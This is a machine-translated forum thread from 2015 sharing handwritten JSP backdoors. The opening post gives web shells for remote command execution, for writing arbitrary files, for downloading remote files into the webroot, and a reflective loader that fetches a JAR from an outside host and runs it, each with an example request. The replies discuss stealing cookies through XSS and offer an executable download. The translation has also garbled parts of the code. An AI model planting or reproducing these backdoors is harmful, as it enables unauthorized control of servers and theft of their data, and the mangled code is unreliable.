See artikkel on masintõlke peegelartikkel, palun klõpsake siia, et hüpata algse artikli juurde.

Vaade: 14991|Vastuse: 7

[Turvatööriistad] Käsitsi kirjutatud JSP tagauks

[Kopeeri link]
Postitatud 02.01.2015 18:46:57 | | | |
Üleviidud: http://p2j.cn/?p=1627
1. Täida süsteemikäsud:
Täida süsteemikäsud ilma kajata:
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
Palve: http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls
Pärast täideviimist ei teki kaja, mis on põrkuvate padrunite puhul väga mugav.
Parooli kinnitamisega on sarnaseid näiteid:
<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();        int a = -1;        bait[] b = uus bait[2048];        out.print("<pre>");        while((a=in.read(b))!=-1){ out.println(uus string(b));        } out.print("</pre>");    }%>
Taotlus: http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls

2. Kodeeri string ja kirjuta see määratud faili:
1:
<%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%>
Taotlus: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234
Kirjuta veebikataloogi:
<%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes();%>
Palve: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234
2:
<%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>
Taotlus: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234
Kirjuta veebikataloogi:
<%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>
Palve: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234
3: Laadi alla kaugfail (kui sa ei kasuta Apache io rakendusi, ei saa sisendvoogu baidiks teisendada, seega on see väga pikk...)
<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();    bait[] b = uus bait[1024];    java.io.ByteArrayOutputStream baos = uus java.io.ByteArrayOutputStream();    int a = -1;    samal ajal ((a = in.read(b)) != -1) { baos.write(b, 0, a);    } new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %>
Taotlus: http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png
Laadi alla veebirajale:
<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();    bait[] b = uus bait[1024];    java.io.ByteArrayOutputStream baos = uus java.io.ByteArrayOutputStream();    int a = -1;    samal ajal ((a = in.read(b)) != -1) { baos.write(b, 0, a);    } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %>
Palve: http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png
Neljandaks: Peegeldus kutsub välist purki, täiuslikuks tagauks
Kui sulle ei meeldi, et ülalmainitud tagaukse funktsioon on liiga nõrk ja aegunud, võid proovida järgmist:
<%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})))).getMethods()[0].invoke(null, new Object[]{ request.getParameterMap()})%>
Taotlus: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A

Kööginoa ühendus: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar, parool 023.

Lahendus:
Kasuta peegeldust, et laadida väline jar praegusesse rakendusse, ja peegeldus täidab väljundi töötlemise tulemuse. request.getParameterMap() sisaldab kõiki soovitud parameetreid. Kuna väline jar-pakett on laaditud, peab server saama sellele jar-aadressile ligi.




Eelmine:TXT tekstifaili kriis
Järgmine:Java MD5 krüpteerimine, Base64 krüpteerimine ja dekrüpteerimine Java täidab süsteemikäsu lähtekoodi
Postitatud 02.01.2015 20:17:30 |
Hiljuti uurisin JSP backdoori?
 Üürileandja| Postitatud 02.01.2015 20:39:44 |
admin postitatud 2015-1-2 20:17
Hiljuti uurisin JSP backdoori?

Kas oled kunagi näinud JSP-d ühes lauses? Leidsin selle, ma ei uurinud seda põhjalikult, ma ei saanud xss-ist aru, lõpuks sain eile küpsised kätte ja ma ei tea, kuidas küpsiste üleslaadimist muuta
Postitatud 02.01.2015 20:44:40 |
Delver_Si Postitatud 2015-1-2 20:39
Kas oled kunagi näinud JSP-d ühes lauses? Leidsin selle, ma ei kaevunud sügavamale, ma ei saanud xss-st aru, lõpuks sain eile küpsised, ma ei tea, kuidas kokki muuta...

See ei ole minu küpsised, mis varastatakse isikupärastatud allkirjafailiga,,,

Kasuta Firefoxi HackBar pluginat
Postitatud 02.01.2015 20:48:57 |
Delver_Si Postitatud 2015-1-2 20:39
Kas oled kunagi näinud JSP-d ühes lauses? Leidsin selle, ma ei kaevunud sügavamale, ma ei saanud xss-st aru, lõpuks sain eile küpsised, ma ei tea, kuidas kokki muuta...

Ghost Brother Multifunktsionaalne Brauser v1.0


鬼哥多功能浏览器v1.0.exe (72 KB, Allalaadimiste arv: 7, Müügihind: 1 Grain MB)
 Üürileandja| Postitatud 02.01.2015 20:57:50 |
admin postitatud 2015-1-2 20:44
See ei ole minu küpsised, mis varastatakse isikupärastatud allkirjafailiga,,,

Kasuta Firefoxi HackBar pluginat

Eile oli vaba uks kramplik, ma ei saanud ühendust ega Firefoxi poodi siseneda.
 Üürileandja| Postitatud 02.01.2015 20:59:01 |
admin postitatud 2015-1-2 20:44
See ei ole minu küpsised, mis varastatakse isikupärastatud allkirjafailiga,,,

Kasuta Firefoxi HackBar pluginat

DZ-l seda lünka ei ole
Postitatud 02.01.2015 21:00:22 |

Ma ei tea, sa võid testida, ära riku mu andmebaasi   

Me kõik kasutame Tor Browserit, et seina ümber liikuda

Disclaimer:
Kõik Code Farmer Networki poolt avaldatud tarkvara, programmeerimismaterjalid või artiklid on mõeldud ainult õppimiseks ja uurimistööks; Ülaltoodud sisu ei tohi kasutada ärilistel ega ebaseaduslikel eesmärkidel, vastasel juhul kannavad kasutajad kõik tagajärjed. Selle saidi info pärineb internetist ning autoriõiguste vaidlused ei ole selle saidiga seotud. Ülaltoodud sisu tuleb oma arvutist täielikult kustutada 24 tunni jooksul pärast allalaadimist. Kui sulle programm meeldib, palun toeta originaaltarkvara, osta registreerimist ja saa paremaid ehtsaid teenuseid. Kui esineb rikkumist, palun võtke meiega ühendust e-posti teel.

Mail To:help@itsvse.com